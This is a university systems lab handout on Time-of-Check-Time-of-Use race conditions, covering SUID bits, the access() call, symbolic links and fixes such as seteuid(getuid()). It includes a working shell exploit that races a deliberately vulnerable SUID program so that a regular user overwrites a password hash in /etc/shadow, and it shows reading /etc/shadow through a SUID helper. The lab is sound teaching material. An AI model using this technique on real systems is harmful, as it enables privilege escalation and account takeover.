50.005 Computer System Engineering
Information Systems Technology and Design
Singapore University of Technology and Design
Natalie Agus (Summer 2024)
Time of Check, Time of Use Attack
In this lab, you are tasked to investigate a program with TOCTOU (Time of Check, Time of Use) race-condition vulnerability.
A “Time of Check to Time of Use” (TOCTOU) attack is a type of cybersecurity vulnerability that arises when a system checks the state of a resource or condition at one point in time, but uses that resource or relies on that condition at a later time. During the gap between the “check” and the “use,” an attacker can manipulate the resource or condition, leading to unauthorized access, data corruption, or other security breaches.
The lab is written entirely in C, and it is more of an investigative lab with fewer coding components as opposed to our previous lab. At the end of this lab, you should be able to:
- Understand what is a TOUTOU bug and why is it prone to attacks
- Detect race-condition caused by the TOCTOU bug
- Provide a fix to this TOCTOU vulnerability
- Examine file permissions and modify them
- Understand the concept of privileged programs: user level vs root level
- Compile programs and make documents with different privilege level
- Understand how sudo works
- Understand the difference between symbolic and hard links
Background
Race Condition
A race condition occurs when two or more threads (or processes) access and perform non-atomic operations on a shared variable (be it across threads or processes) value at the same time. Since we cannot control the order of execution, we can say that the threads / processes race to modify the value of the shared variable.
The final value of the shared variable therefore can be non deterministic, depending on the particular order in which the access takes place. In other words, the cause of race condition is due to the fact that the function performed on the shared variable is non-atomic.
In this lab we are going to exploit a program that is vulnerable to race-condition.
- The program alone is single-threaded, so in the absence of an attacker, there’s nothing wrong with jthe program.
- The program however is vulnerable because an attacker can exploit the fact that the program can be subjected to race-condition.
You will learn about race condition properly in future lectures. This lab is just a preview.
Setup
Installation
Clone the files for this lab using the command:
git clone https://github.com/natalieagus/lab_toctou
You should find that the following files are given to you:
Now go to the User/
directory and call make
. You should find these files in the end.
Do NOT used a shared drive with your Host machine, or a shared external drive with other OS. You will NOT be able to create root files in this case. Clone the above file in /home/<user>
directory instead.
Login as Root User
Task 1
TASK 1:
To switch user and login as root, you must first set the password for the root account.
Type the following command:
sudo passwd root
You will be prompted for your current user password, then set a new password for root
.
Remember this root
password! You need this later to switch to root
user. If you have a brainblock, use a simple phrase like: rotiprata
.
Follow the instructions, and then switch to the root user using the command and the password you just created above for root
:
su root
You will see the following new prompt, indicating now you’re logged in as root
:
Root user is the user with the highest (administrative) privilege. It has nothing to do with Kernel Mode. Processes spawned while logged in as Root still runs on User Mode.
Task 2
TASK 2:
Create files while logged in as root
.
While logged in as root
, navigate to /FilesForRoot
, and type make
. You should see a new directory called Root/
created with the following contents:
It is important to check that the newly created files belong to the user root as shown in yellow above (beside the date is the owner
of the file).
Add other Users
Task 3
TASK 3:
Create 2-3 other users.
In order to proceed with this lab, you need to login as root
and create a few new users before proceeding.
For the first user, do the following (the username must be test-user-0
):
adduser test-user-0
Give it any password you like (preferably a good one, like LDcwzDJKr
), and then add it to the sudo
group:
adduser test-user-0 sudo
Then add a few more with different names: e.g test-user-0
, test-user-1
, with any appropriate password of your choice.
Switch User
Task 4
TASK 4:
Switch account as any of these new users to ensure that you’ve created new users successfully.
You can switch to your new user by using the command su <username>
:
Once you’re done, switch back to root
again using your root
password you’ve set above.
Task 5
TASK 5:
Check /etc/shadow
.
Once you’re done, you should enter the command cat /etc/shadow
and see that your newly created users are at the bottom of the file, with some hash values (actual values are different depending on the password you set for these users).
Task 6
TASK 6:
Return to your original user account.
You can switch back to your original normal user account by using the same su <username>
command:
Now go up one level by typing cd ..
and attempt to delete Root/
directory while logged in as your original username. You will find such permission denied message:
🔎 What happened?
File Permission
The reason you faced the permission denied error is because your username doesn’t have the correct permission to edit the Root/
directory.
Notice that a directory is an executable, indicated by the ‘x’ symbol.
The SUID bit
SUID stand for Set Owner User ID. A file with SUID set always executes as the user who owns the file, regardless of the user passing the command.
List the file permission for all files inside Root/
directory:
Notice that instead of an x
, we have an s
type of permission listed on the two progs: vulnerable_root_prog
and rootdo
. This is called the SUID bit.
The SUID bit allows normal user to gain elevated privilege (again this does NOT mean Kernel Mode, just privilege levels among regular users) when executing this program.
If a normal user executes this program, this program runs in root privileges (basically, the creator of the program)
Task 7
TASK 7:
Reading protected file using regular user account.
While logged in as your original user account, try to read the file /etc/shadow
:
cat /etc/shadow
You will be met with permission denied because this file can only be read by root
user, and other users in the same group, as shown in the file details below;
What group does root
belong to? What about the user account in question (ubuntu in example above)? You can find out using the command groups
:
Task 8
TASK 8:
Gain privilege elevation.
Now, run the following command. We assume that your current working directory is at /lab_toctou
directory. If not, please adjust accordingly.
./Root/rootdo cat /etc/shadow
When prompted, type the word password
, and then press enter.
You will find that you can now read this file:
The reason you can now successfully read the file /etc/shadow
is because rootdo
has the SUID bit. Any other program that is executed by rootdo
will run with root
(rootdo
creator) privileges and not the regular user.
You can open rootdo.c
inside /lab_toctou/FilesForRoot/
to examine how it works, especially this part where it just simply checks that you have keyed in password
and proceed to execvp
(execute) the input command:
if (!strcmp(password, "password"))
{ // on success, returns 0
printf("Login granted\n");
int pid = fork();
if (pid == 0)
{
printf("Fork success\n");
wait(NULL);
printf("Children returned\n");
}
else
{
if (execvp(execName, argv_new) == -1)
{
perror("Executable not found\n");
}
}
}
In short, as the SUID bit of rootdo program is set, it always runs with root privileges regardless of which user executes the program.
While rootdo seems like a dangerous program, don’t forget that the root itself was the one who made it and set the SUID bit in the first place, so yes it is indeed meant to run that way.
The sudo
Command
sudo
is a command in Unix and Linux-based operating systems. It stands for “superuser do” and allows a permitted user to execute a command as the superuser or another user, as specified in the sudoers file (/etc/sudoers
). This provides a mechanism for granting administrator privileges, ordinarily reserved for the root user, to normal users in a controlled manner.
When you typo sudo <command>
, it prompts you for your password, then the program checks whether the user is verified, before executing with root privileges. In our little rootdo
example, we just use hardcoded password
to proceed.
Setting of rootdo
’s SUID bit is done in the makefile
inside FilesForRoot
that you execute earlier while logged in as root,
# refresh the root files and root log file
# Set UID for rootprog and rootdo
setup:
chmod u+s ../Root/vulnerable_root_prog
chmod u+s ../Root/rootdo
The command chmod u+s filename
sets the SUID
bit of that filename
.
About
sudo
sudo
is not a built-in shell command. It is an external command provided by a package that is installed on most Unix and Linux-based systems. Built-in commands are part of the shell itself, likecd
(change directory),echo
, orexit
, and they are executed directly by the shell without the need for calling an external program. You will be tasked to implement both built-in command and external command in Programming Assignment 1.
Running a command with sudo
has no direct relationship with switching the CPU to Kernel/Machine mode.
The Vulnerable Program
Our vulnerable program can be found in /Root/vulnerable_root_prog
. Open /FilesForRoot/vulnerable_root_prog.c
to find out what it does.
The program expects two arguments: to be stored at char *fileName
, and char *match
. It is a supposedly secure program that will allow root
to replace *match
string inside *fileName
with an SHA-512 hashed password 00000
.
if (argc < 3)
{
printf("ERROR, no file supplied, and no username supplied. Exiting now.\n");
return 0;
}
char *fileName = argv[1];
char *match = argv[2];
FILE *fileHandler;
....
It will then check with the access
system call on whether or not the caller of this program (it’s REAL ID) has permission to access the target fileName
:
if (!access(fileName, W_OK))
{
printf("Access Granted \n");
....
}
Below we paste the documentation for access()
from Linux man page:
access()
checks whether the calling process can access the file pathname. If pathname is a symbolic link, it is dereferenced.The check is done using the calling process’s real
UID
andGID
, rather than the effective IDs as is done when actually attempting an operation (e.g., open, fopen, execvp, etc) on the file. Similarly, for the root user, the check uses the set of permitted capabilities rather than the set of effective capabilities; and for non-root users, the check uses an empty set of capabilities.This allows set-user-ID programs and capability-endowed programs to easily determine the invoking user’s authority. In other words,
access()
does not answer the “can I read/write/execute this file?” question. It answers a slightly different question: “(assuming I’m a setuid binary) can the ACTUAL user who invoked me read/write/execute this file?”, which gives set-user-ID programs the possibility to prevent malicious users from causing them to read files which users shouldn’t be able to read.”
Other system calls: execvp
, open
that we used in rootdo
or standard sudo
only checks the effective ID of the calling process, not the real ID.
Details
rootdo
runs with effective root privileges (effective, not real, since the caller to rootdo
is only normal user), and that’s enough to run the cat /etc/shadow
program since cat
doesn’t utilise access()
to check for the calling process.
On the other hand, vulnerable_root_prog
tries to be more secure by using the access
system call to prevent users with elevated privileges to modify files that do not belong to them.
vulnerable_root_prog
“security” attempt fails miserably and ends up being susceptible to a particular race condition attack due this weakness called TOCTOU (time-of-check time-of-update)!
The TOCTOU Bug
The time-of-check to time-of-use (often abbreviated asTOCTOU
, TOCTTOU
or TOC/TOU
) is a class of software bug caused by a race condition involving:
- The checking of the state of a part of a system (such as this check in
vulnerable_root_prog
usingaccess
), - And the actual use of the results of that check
We exaggerate the DELAY
between:
- The time of CHECK of the file using
access
and - The time of USE (actual usage of the file) using
fopen
by settingsleep(DELAY)
in between the two instructions, whereDELAY
is specified as 1 to simulate 1 second delay.
...
if (!access(fileName, W_OK))
{
printf("Access Granted \n");
/*Simulating the Delay*/
sleep(DELAY); // sleep for 1 sec, exaggerate delay
...
int byte_index = 0;
int previous_byte_index = 0;
int byte_match = -1;
FILE *fp = fopen(fileName, "r+");
...
}
Consider the vulnerable_root_prog
being called by a user to modify a text file belonging to the user account as such:
The access()
check of course grants the normal user caller to modify userfile.txt
because indeed it belongs to the normal user (ubuntu in the screenshot above).
The output doesn’t make sense as of now, but we will explain what those hash
values are about really soon. The vulnerable_root_prog
does two things:
- Accepts a
fileName
and a string inside that file tomatch
. - It will replace that string inside the file with the following hash value if
access()
system call grants permission.
$6$jPSpZ3iS84semtGU$DLwyTleAM2Of8NzDrwwNTnuSamJlnTx6NlMgbhPT5L8POT/J1MSCPucOAp1Qt3zRClS2NWT.RksROF9R1XLrn0
Symbolic Link
We will soon exploit this bug with symbolic link.
Symbolic Link
A symbolic link is a special kind of file that points to (reference) another file, much like a shortcut in Windows or a Macintosh alias. It contains a text string that is automatically interpreted and followed by the operating system as a path to another file or directory. You will learn more about this in the later weeks of lecture.
Task 9
TASK 9:
Creating symbolic link.
We can create a text file with the following command and output redirection:
echo "good morning" > goodmorning.txt
Then we can create a symbolic link using the command:
ln -s <source> <symlink>
In this example below, we created a goodmorning_symlink.txt
that points to the actual file goodmorning.txt
:
There are different terminologies for ln
. POSIX states target --> source
while GNU states link_name --> target
, and hence the word target alone can mean either the symlink or the actual file depending on which manual you read. Be careful!
Exploiting the TOCTOU Bug with SymLink
During this delay between checking (with access
) and usage (with fopen
):
- A malicious attacker can replace the actual file
text.txt
into a symbolic link pointing to a protected file, e.g:/etc/shadow
- Since
fopen
only checks effective user ID, andvulnerable_root_prog
has itsSUID
bit set (runs effectively asroot
despite being called by only normal user), the “supposedly secure” rootprog can end up allowing normal user to gain elevated privileges to MODIFY protected file like/etc/shadow
.
In the screenshot below, we created a symbolic link userfile.txt
to point to /etc/shadow
, resulting in the regular user being unable to cat userfile.txt
.
We have written the command to create the symbolic link for you. It is inside /User/exploit.sh
.
Race Condition
The malicious attacker has to attack and can only successfully launch the attack (modifying userfile.txt -> /etc/shadow
) during that time window between time-of-check (access
) and time-of-use (fopen
), hence the term “race condition vulnerability attack” or “a bug caused by race condition”.
The attacker has to RACE with the vulnerable_root_prog
to quickly change the userfile.txt
into a symbolic link pointing to /etc/shadow
. This can happen ONLY on this very specific time window of AFTER the access()
check and BEFORE the fopen()
.
The Attack
Modify /etc/shadow
We will use this TOCTOU bug in vulnerable_root_prog
to modify the content of the file: /etc/shadow
.
/etc/shadow
is shadow password file; a system file in Linux that stores hashed user passwords and is accessible only to the root user, preventing unauthorized users or malicious actors from breaking into the system.
Try reading it using sudo cat /etc/shadow
. You will find that the lines have the following format:
usernm:$y$Apj1GQn.U$ZWWEtt19A8:17736:0:99999:7:::
[----] [---------------------] [---] - [---] ----
| | | | | |||+-----------> 9. Unused
| | | | | ||+------------> 8. Expiration date
| | | | | |+-------------> 7. Inactivity period
| | | | | +--------------> 6. Warning period
| | | | +------------------> 5. Maximum password age
| | | +----------------------> 4. Minimum password age
| | +--------------------------> 3. Last password change
| +-----------------------------------------> 2. Hashed Password
+-----------------------------------------------------------> 1. Username
Pay attention to segment 2
It contains the password of the usernm
using the $type$salt$hashed
format. 1.$type
is the method cryptographic hash algorithm and can have the following values:
$1$
– MD5$2a$
– Blowfish$y$
– yescrypt$5$
– SHA-256$6$
– SHA-512
If the hashed password field contains an asterisk (*) or exclamation point (!), the user will not be able to login to the system using password authentication. Other login methods like key-based authentication or switching to the user are still allowed (out of scope). You can read more about the file here but it’s not crucial. Let’s move on.
Replacing Hashed Password in /etc/shadow
We aim to:
- Replace the targeted
username
entry in/etc/shadow
with a new Hashed Password section - So that we can
login
to this targetedusername
using preset password00000
(five zeroes), effectively overriding the password you set earlier. - “We” being regular user account (NOT root!) but with the help of this TOCTOU bug from
vulnerable_root_prog
.
These targeted username
is none other than test-user-0
that you have created earlier.
Task 10
TASK 10:
Launch attack that does the 3 things above by running exploit.sh
.
While logged in as a regular user (your original username), change your directory to /User/
and run the script exploit.sh
:
cd User
./exploit.sh
The program will run for awhile (20-30 secs) and eventually stop with such message:
If you do a cat /etc/shadow
right now, notice how test-user-0
account hashed password section has been changed to match that replacement_text
in vulnerable_root_prog
:
Login to target user account
Task 11
TASK :
Login to user account test-user-0
with password 00000
Now you can login to test-user-0
account with password: 00000
instead of your originally set password:
We have successfully changed a supposedly protected /etc/shadow
file while logged in as a regular user (ubuntu in the example above).
What Happened?
Open exploit.sh
file inside /User/
directory:
#!/bin/sh
# exploit.sh
# note the backtick ` means assigning a command to a variable
OLDFILE=`ls -l /etc/shadow`
NEWFILE=`ls -l /etc/shadow`
# continue until THE ROOT_FILE.txt is changed
while [ "$OLDFILE" = "$NEWFILE" ]
do
rm -f userfile.txt
# create userfile again
cp userfile_original.txt userfile.txt
# the following is done simultanously
# if a command is terminated by the control operator &, the shell executes the command in the background in a subshell.
# the shell does not wait for the command to finish, and the return status is 0.
# on the other hand, commands separated by a ; are executed sequentially; the shell waits for each command to terminate in turn.
# the return status is the exit status of the last command executed.
../Root/vulnerable_root_prog userfile.txt test-user-0 & ln -sf /etc/shadow userfile.txt & NEWFILE=`ls -l /etc/shadow`
done
echo "SUCCESS! The root file has been changed"
The first two lines create a variable called OLDFILE
and NEWFILE
, containing the file information of /etc/shadow
.
OLDFILE=`ls -l /etc/shadow`
NEWFILE=`ls -l /etc/shadow`
Then, the main loop is repeated until /etc/shadow
is successfully changed (different timestamp and size):
- Remove existing
userfile.txt
if any (from previous loop) - Then, create
userfile.txt
(this line can be replaced by any other instructions that create thisuserfile.txt
) - Then, runs 3 commands in succession:
../Root/vulnerable_root_prog userfile.txt test-user-0
: runs the vulnerable program withuserfile.txt
, belonging to currently logged in user account and the targeted username.ln -sf /etc/shadow userfile.txt
: immediately,fork
and execute theln
program to changeuserfile.txt
to point to/etc/shadow
. Remember from Lab 1 that a shell spawns a new child process upon execution of commands.NEWFILE=
ls -l /etc/shadow: check the file **info** (not <span class="orange-bold">content</span>!) of
/etc/shadowand store it into variable
NEWFILE`; to be used in the next loop check
- It terminates the moment the metadata of the new file
NEWFILE
differs fromOLDFILE
: this means/etc/shadow
has been recently modified which indicates that our attack is successful (assuming no other process is currently changing/etc/shadow
)
Two processes from step (3.1) and (3.2) above are racing, and the script terminates when /etc/shadow
has been successfully changed.
Preventing the TOCTOU Bug
Preventing TOCTOU vulnerabilities involves strategies that either minimize the window between the “check” and the “use” or avoid the need for separate check and use steps altogether. Here are some general strategies for mitigating TOCTOU bugs:
- Using Atomic operations: Atomicity ensures that a sequence of operations is completed in a single step from the perspective of other tasks. This approach is effective because it inherently eliminates the gap between the “check” (verification) and the “use” (action) phases of an operation, which is where the vulnerability would typically be exploited.
- File Locking: Use file locking mechanisms where appropriate. When a file is locked, other processes are prevented from modifying it until the lock is released. However, file locking can introduce its own complexities and is not universally supported across all filesystems and platforms.
- Avoid unnecessary checks: Sometimes, the best way to avoid TOCTOU vulnerabilities is to avoid unnecessary checks. If you can perform an operation directly without checking first, especially if the operation is atomic or fails safely if preconditions are not met, you can often sidestep TOCTOU issues.
- Privilege management strategies: These strategies focus on minimizing the risk and potential impact of TOCTOU vulnerabilities by controlling the privilege levels at which operations are performed, rather than directly eliminating the timing window between checking and using a resource.
Here we look at two trivial variations of approach (4) above:
seteuid()
One of the ways to patch this TOCTOU bug is to add just one line of instruction after access()
(before fopen()
is called) to manually set the effective UID of the process as the actual UID of the process.
This approach is more about privilege management rather than avoiding checks per se.
You can do this using the following system call: seteuid(getuid());
Task 12
TASK 12:
Modify vulnerable_root_prog.c
to add that one line of code above right under the following if-clause.
if (!access(fileName, W_OK))
{
...
Then follow these steps:
- Login as root and recompile with
make
inside/FilesForRoot/
. - Login back as your original user account, and cd to
/User/
again, and runexploit.sh
. - Observe the result
- Press
ctrl+c
to cancel the script (yes, this change will cause step 2 to run in infinite loop).
Disable SUID
Of course another way is to disable the SUID bit of vulnerable_root_prog
altogether, however in practice sometimes this might not be ideal since there might be other parts of the program that temporarily requires execution with elevated privilege.
This is more of a preventative measure to limit the potential impact of vulnerabilities rather than a method to avoid unnecessary checks in the context of TOCTOU vulnerabilities.
Task 13
TASK 13:
Run exploit.sh
with root_prog_nosuid
.
Open exploit.sh and replace vulnerable_root_prog
with root_prog_nosuid
, and run the script again (while logged in as user account).
Summary
Ensure that you have answered all questions in edimension corresponding to each task in this handout. No other separate code submission is needed.
By the end of this lab, we hope that you have learned:
- What SUID bit does, and how can it be utilised to gain elevated privileges to access protected files
- The differences between root and normal user
- The meaning of file permission. Although we do not go through explicitly on how it is set, you can read about it here and experiment how to do it using the
chmod
command. - How race condition happens and how it can be used as an attack
- How to fix (patch) the TOCTOU bug